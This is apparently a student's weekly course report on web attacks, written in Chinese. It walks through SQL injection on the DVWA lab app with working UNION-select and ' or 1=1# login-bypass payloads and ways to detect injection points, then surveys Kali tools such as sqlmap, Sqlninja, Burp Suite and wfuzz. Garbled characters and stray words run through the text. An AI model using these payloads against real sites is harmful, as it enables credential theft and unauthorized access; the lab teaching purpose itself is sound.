2017-2018-2 20179205 《网络攻防技术与实践》第五周做业

《网络攻防技术与实践》第五周学习总结

教材11、十二章学习总结

  教材11、二章主要概述了Web应用体系结构各个层面上所面对的安全威胁,以及针对Web应用的多样化攻击渠道,Web浏览器攻击技术。并经过实例介绍了目前Web应用程序攻击技术——SQL注入与XSS跨站脚本。Web浏览器、网页木马、钓鱼技术等内容。php

sql注入经常使用技术包括:java

  • 采用非主流通道技术
  • 避开输入过滤技术
  • 使用特殊的字符
  • 强制产生错误
  • 使用条件语句
  • 利用存储过程
  • 推断技术
  • ........

  DVWA (Dam Vulnerable Web Application)DVWA是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。在虚拟机上须要下载安装,因为在上学期Linux课时已经完成了此步骤,因此直接能够拿来操做。mysql

教材实践学习:Sql 注入漏洞

1.Sql 注入产生缘由及威胁:

  当咱们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,若是权限验证经过就会执行 Sql 语句
这种网站内部直接发送的Sql请求通常不会有危险,但实际状况是不少时候须要结合用户的输入数据动态构造 Sql 语句,若是用户输入的数据被构形成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。linux

  Sql 注入带来的威胁主要有以下几点:程序员

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登陆网站后台。
  • 注入能够借助数据库的存储过程进行提权等操做

2.Sql 注入实验一.猜解数据库

  进入Firefox浏览器,输入网址: localhost/dvwasql, 点击create/Reset Database建立数据库。进入登陆界面,默认用户名为 admin 密码为 passwordweb

将Security 级别调整为low:sql

进入 SQL injection页面开始注入,先输入 1 ,查看回显 (URL中ID=1,说明php页面经过get方法传递参数):shell

那实际上后台执行了什么样的Sql语句呢?点击 view source查看源代码:数据库

能够看到,实际执行的Sql语句是:
SELECT first_name, last_name FROM users WHERE user_id = '1';ubuntu

若是咱们不按常理出牌,好比在输入框中输入 1' order by 1#

实际执行的Sql语句就会变成:

SELECT first_name, last_name FROM users WHERE user_id = '1' order by 1#`;
(按照Mysql语法,#后面会被注释掉,使用这种方法屏蔽掉后面的单引号,避免语法错误)

这条语句的意思是查询users表中user_id为1的数据并按第一字段排行。

输入1' order by 1#1' order by 2# 时都返回正常:

当输入 1' order by 3#时,返回错误:

由此可知,users表中只有两个字段,数据为两列。

接下来咱们使用 union select联合查询继续获取信息。

  union 运算符能够将两个或两个以上 select 语句的查询结果集合合并成一个结果集合显示,即执行联合查询。须要注意在使用 union 查询的时候须要和主查询的列数相同,而咱们以前已经知道了主查询列数为 2,接下来就好办了。

输入1' union select database(),user()#进行查询 :

  • database()将会返回当前网站所使用的数据库名字.
  • user()将会返回执行当前查询的用户名.
    实际执行的Sql语句是 :

SELECT first_name, last_name FROM users WHERE user_id = '1' union select database(),user()#;
`

经过上图返回信息,咱们成功获取到:

  • 当前网站使用数据库为 dvwa .
  • 当前执行查询用户名为 root@localhost

同理咱们再输入 1' union select version(),@@version_compile_os#进行查询:

  • version() 获取当前数据库版本.
  • @@version_compile_os 获取当前操做系统。

实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select version(),@@version_compile_os#`;

经过上图返回信息,咱们又成功获取到:

  • 当前数据库版本为 : 5.6.31-0ubuntu0.15.10.1.
  • 当前操做系统为 : debian-linux-gnu

接下来咱们尝试获取 dvwa 数据库中的表名。

information_schema 是 mysql 自带的一张表,这张数据表保存了Mysql服务器全部数据库的信息,如数据库名,数据库的表,表栏的数据类型与访问权限等。该数据库拥有一个名为tables的数据表,该表包含两个字段table_nametable_schema,分别记录DBMS中的存储的表名和表名所在的数据库。

咱们输入 1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'# 进行查询:

实际执行的Sql语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select table_name,table_schema from information_schema.tables where table_schema= 'dvwa'#`;

经过上图返回信息,咱们再获取到:

  • dvwa 数据库有两个数据表,分别是 guestbook 和 users

有些同窗确定还不知足目前获取到的信息,那么咱们接下来尝试获取重量级的用户名、密码。

由经验咱们能够大胆猜想users表的字段为user 和 password,因此输入:1' union select user,password from users# 进行查询:

实际执行的 Sql 语句是:

SELECT first_name, last_name FROM users WHERE user_id = '1' union select user,password from users#

能够看到成功爆出用户名、密码,密码采用 md5 进行加密,能够到www.cmd5.com进行解密。

3.Sql 注入实验二.验证绕过

  接下来咱们再试试另外一个利用 Sql 漏洞绕过登陆验证的实验。在Firefox 浏览器,输入网址 : localhost/sql2 , 按照下图所示顺序,初始化数据:
准备工做完成以后,咱们进入首页发现这是一个普通的登陆页面,只要输入正确的用户名和密码就能登陆成功。

咱们先尝试随意输入用户名 123 和密码 123 登陆:

从错误页面中咱们没法获取到任何信息。

看看后台代码如何作验证的:

实际执行的操做时:

select * from users where username='123' and password='123'

当查询到数据表中存在同时知足 username 和 password 字段时,会返回登陆成功。
按照第一个实验的思路,咱们尝试在用户名中输入123' or 1=1#, 密码一样输入123' or 1=1 #

为何可以成功登录呢?由于实际执行的语句是:
select * from users where username='123' or 1=1 #' and password='123' or 1=1 #'

按照 Mysql 语法,# 后面的内容会被忽略,因此以上语句等同于(实际上密码框里不输入任何东西也同样):
select * from users where username='123' or 1=1

因为判断语句 or 1=1 恒成立,因此结果固然返回真,成功登陆。

咱们再尝试不使用 # 屏蔽单引号,采用手动闭合的方式:

咱们尝试在用户名中输入123' or '1'='1, 密码一样输入123' or '1'='1(不能少了单引号,不然会有语法错误):

实际执行的 Sql 语句是:

select * from users where username='123' or '1'='1' and password='123' or '1'='1`

两个 or 语句使 and 先后两个判断永远恒等于真,因此可以成功登陆。

4.判断Sql注入点

一般状况下,可能存在 Sql 注入漏洞的 Url 是相似这种形式 :http://xxx.xxx.xxx/abcd.php?id=XX

对 Sql 注入的判断,主要有两个方面:

  • 判断该带参数的 Url 是否存在 Sql 注入?
  • 若是存在 Sql 注入,那么属于哪一种 Sql 注入?

  可能存在 Sql 注入攻击的 ASP/PHP/JSP 动态网页中,一个动态网页中可能只有一个参数,有时可能有多个参数。有时是整型参数,有时是字符串型参数,不能一律而论。总之只要是带有参数的 动态网页且此网页访问了数据库,那么就有可能存在 Sql 注入。若是程序员没有足够的安全意识,没有进行必要的字符过滤,存在SQL注入的可能性就很是大。

4.1判断是否存在 Sql 注入漏洞

最为经典的单引号判断法:

在参数后面加上单引号,好比:

http://xxx/abc.php?id=1'

若是页面返回错误,则存在 Sql 注入。

缘由是不管字符型仍是整型都会由于单引号个数不匹配而报错。

注:若是未报错,不表明不存在 Sql 注入,由于有可能页面对单引号作了过滤,这时可使用判断语句进行注入

4.2判断 Sql 注入漏洞的类型

一般 Sql 注入漏洞分为 2 种类型:

  • 数字型
  • 字符型

  其实全部的类型都是根据数据库自己表的类型所产生的,在咱们建立表的时候会发现其后总有个数据类型的限制,而不一样的数据库又有不一样的数据类型,可是不管怎么分经常使用的查询数据类型老是以数字与字符来区分的,因此就会产生注入点为什么种类型。

4.2.1 数字型判断:

当输入的参 x 为整型时,一般 abc.php 中 Sql 语句类型大体以下:

select * from <表名> where id = x

这种类型可使用经典的 and 1=1and 1=2 来判断:

Url 地址中输入 http://xxx/abc.php?id= x and 1=1页面依旧运行正常,继续进行下一步。
Url 地址中继续输入http://xxx/abc.php?id= x and 1=2 页面运行错误,则说明此 Sql 注入为数字型注入。
缘由以下:

当输入 and 1=1时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=1

没有语法错误且逻辑判断为正确,因此返回正常。

当输入and 1=2时,后台执行 Sql 语句:

select * from <表名> where id = x and 1=2

没有语法错误可是逻辑判断为假,因此返回错误。

咱们再使用假设法:若是这是字符型注入的话,咱们输入以上语句以后应该出现以下状况:

select * from <表名> where id = 'x and 1=1' 
select * from <表名> where id = 'x and 1=2'

查询语句将 and 语句所有转换为了字符串,并无进行 and 的逻辑判断,因此不会出现以上结果,故假设是不成立的。

4.2.2 字符型判断:

当输入的参 x 为字符型时,一般 abc.php 中 SQL 语句类型大体以下:

select * from <表名> where id = 'x'

这种类型咱们一样可使用and '1'='1and '1'='2 来判断:

Url 地址中输入http://xxx/abc.php?id= x' and '1'='1 页面运行正常,继续进行下一步。
Url 地址中继续输入http://xxx/abc.php?id= x' and '1'='2页面运行错误,则说明此 Sql 注入为字符型注入。
缘由以下:

当输入 and '1'='1时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='1'

语法正确,逻辑判断正确,因此返回正确。

当输入 and '1'='2时,后台执行 Sql 语句:

select * from <表名> where id = 'x' and '1'='2'

语法正确,但逻辑判断错误,因此返回正确。

视频学习总结

1、kali漏洞分析之数据库评估(一)

  WEB层与数据库链接的漏洞链接在安全测试中并很多见,OWASP中的SQL注入漏洞即是所以产生。下面对kali Linux对数据库评估工具的分类进行介绍。

1.BBQSql(半自动)

BBQSql是一个Python编写的盲注工具,当检测可疑的注入漏洞时会颇有用,容许客户自定义参数。

2.DBPwAudit(数据库用户名密码枚举工具)

3.HexorBase(开源)图形化的密码破解与链接工具

有四个数据库类型:

4.Jsql Injection

  Jsql是一款轻量级安全测试工具,能够检测SQL注入漏洞。它跨平台(windows,linux,Mac OSX,Solaris)/开源且免费。将存在注入漏洞的URL贴进来就能够进行相应的漏洞利用;图形化界面比较亲民,但使用效果有待改善。

5.MDBTools

包括MDB-Exprot,以及MDB-Dump, mdb-parsecsv,mdb-sql,mdb-tables等子工具,具体环境具体使用。

6.Oracle Scanner

Oscanner是一个用java开发的Oracle评估工具,它是基于插件的结果,当前由两个插件能够作:

-Sid列举、口令测试、列举Oracle版本、列举帐号角色、特权、哈希、,列举审计信息、列举口令策略、列举数据库连接。

7.SIDGusser

一样是针对Oracle的SID进行暴力枚举工具,SID为Oracle实例名,Oracle链接字符串,经过实例名+用户+密码链接。

8.SqIDICT 用户名枚举工具,经过Wine运行

1、kali漏洞分析之数据库评估(二)

1.tnscmd10g 容许向Oracle注入命令(不经常使用)

2.Sqlsus

  Sqlsus是一个开源的MYSQL注入和接管工具,Sqlsus使用perl编写,基于命令行界面,能够获取数据库结构,注入本身的SQL语句,从服务区下载文件,爬行web站点可写目录,上传和控制后门,克隆数据库等等。最好用的两点就是注射获取数据速度很是快,可自动搜索可写目录。

能够看到Sqlsus中只有四个参数命令,要注入语句,首先-g生成一个文件,进行编辑,在文件中标红的框内插入想要测试的语句,写入地址。

启动并测试命令:sqlsus test.conf
获取数据库数据
查看所有数据库名字:sqlsus> get databases
设定数据库: sqlsus> set databases
获取表: sqlsus> get tables

3.Sqlninja(sql注入的神器)

  Sqlninja是一款perl编写的,侧重于得到一个shell。Sqlninja是专门针对Microsoft SQLServer的sql注入工具。可找到远程SQL服务器的版本和特征;对管理员口令“sa”进行强力攻击;一旦找到口令就将特权提高到“sa”权限;若是原始的xp_cmdshell被禁用后,就建立一个定制的xp_cmdshell;不须要FTP链接;为了找到目标网络的防火墙所容许的端口,能够实施针对目标SQL服务器的TCP/UDP端口扫描;逃避技术,使注入代码“模糊”不清,而且混淆/绕过基于强命的IPS和应用层防火墙;采用“盲目执行”攻击模式,能够用于发布命令并执行诊断;若是获得权限为sa,能够结合msf进一步对目标主机进行渗透。


4.Sqlmap

  SQLMAP是一个开源的渗透测试工具,是用Python编写。主要用于自动化的侦测和实施SQL注入攻击以及渗透数据库服务器。配有强大的侦测引擎,适用于高级渗透测试用户,不只能够得到不一样的数据库指纹信息,还能够从数据库中提取数据,有很强大的抓取数据的能力。

sql -u "http://xxxx/id/1*" 伪静态
--sql-shell

  SQLMAP还有不少众多功能,如绕过WAF的tamper,修改UA的random-agent等等参数,须要在实际中灵活使用。

3、kali漏洞分析之Web应用代理

1.Burp Suite

是用于攻击web应用程序集成平台。经过默认端口8080上运行,使用这个代理,能够截获客户端到web应用程序的数据包。

打开后发现有不少标签页:

监听端口:

这时咱们访问一个地址,好比百度,发现并不能立刻打开一个界面,此时Burp Suite多了一个get请求:

点击forward,这时百度页面打开:

当利用百度查询信息时,发现Burp Suite多了几个get请求,若是将其撤回,那么页面出错:

2.OwaspZAP

  攻击代理,是一款查找网页的应用程序漏洞综合渗透测试工具。包含拦截代理,被动处理,暴力破解,端口扫描,以及蜘蛛搜索等功能。页面中的中文标签比较亲民:

3.paros

  paros proxy,这是一个对Web应用程序的漏洞进行评估的代理程序,基于Java的Web代理程序,可评估Web应用程序的漏洞。它支持动态的编辑/查看 HTTP/HTTPS,从而改变cookies和表单字段等项目。它包括一个Web通讯记录程序,Web圈套程序(spider),hash计算器,还有一个能够测试常见的Web应用程序攻击(如SQL注入式攻击和跨站脚本攻击)的扫描器。该工具检查漏洞形式包括:SQL注入、跨站脚本攻击、目录遍历等。

4.vega扫描漏洞及代理

  这是一个开源的web应用程序安全测试平台,vega可以帮助你验证SQL注入、跨站脚本(XSS)、敏感信息泄露和其余一些安全漏洞。vega使用java编写,有GUI,能够在Linux、OS X和windows下运行。vega相似于paros proxy、 Fiddler、skipfish and ZAproxy

5. WebScarab

  这是一款代理软件,包括HTTP代理,网络爬行、网络蜘蛛,会话ID分析,自动脚本借口,模糊测试工具,WEB格式的编码/解码,WEB服务描述语言和SOAP解析器等功能模块。WebScarab基于GNU协议,使用Java编写,是WebGoat中所使用的工具之一。

端口监听:

4、kali漏洞分析之BurpSuite



1.配置监听端口,配置浏览器,在大多数浏览器,只须要打开设置-网络-代理,而后使用“localhost”和端口“8080”(默认),而后保存更新的设置。

2.爬虫与扫描

3.测试暴力破解表单帐户密码

4.Reapeater 改包重放模块

5.Decoder模块

6.compare模块

比较两个请求包或返回包的的不一样之处:

7.插件模块

5、kali漏洞分析之Fuzz工具

1.Bed.pl

  Bed是一个纯文本协议的Fuzz工具,可以检查常见的漏洞,如缓冲区溢出,格式串漏洞,整数溢出等。
能够针对不一样的协议使用不一样的插件
-s 针对FTP协议,FTP参数
-t 目标IP地址
-p 目标端口
-o timeout
发送一连串畸形数据包,尝试使程序报错,进行判断。

2.Fuzz_ipv6

THC出品的针对IPV6协议的模糊测试工具

3.0hrwurm(RTP fuzzer)(不经常使用)

4.PowerFuzzer

5.Wfuzz

  针对WEB应用的模糊测试工具,能够进行web应用暴力猜解,也支持对网站目录、登陆信息、应用资源文件等的暴力猜解,还能够进行get及post参数的猜解,sql注入、xss漏洞的测试等。全部功能依赖于字典。
登陆get请求,登陆页面口令猜解,忽略404页面
使用参数如:

wfuzz -c -z file,users.txt -z file,pass.txt -hc 404 http://www.site.com/log.asp?user=FUZZ&pass=FUZZ

页面数目猜解
wfuzz -c -z range,1-10 --hc=BBB http://www.site.com/FUZZ{something}
与BurpSuite相比更轻量

6.SFuzz:Simple-Fuzzer

7.XSSer

针对XSS漏洞的挖掘 xsser --gtk 图形化界面 对一个页面或点进行xss测试,判断是否有XSS的漏洞

相关文章
相关标签/搜索